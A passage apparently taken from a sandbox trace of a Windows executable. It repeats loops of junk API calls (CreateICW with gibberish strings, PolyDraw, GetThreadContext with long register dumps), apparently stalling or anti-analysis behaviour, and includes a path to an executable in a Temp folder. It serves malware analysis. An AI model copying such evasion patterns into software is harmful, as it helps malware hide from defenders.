[329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.120] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.122] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.122] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.122] GetConsoleCP () returned 0x0
	[0066.122] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.122] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.122] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.123] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.123] GetConsoleCP () returned 0x0
	[0066.123] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.123] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.124] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.124] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.124] GetConsoleCP () returned 0x0
	[0066.124] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, 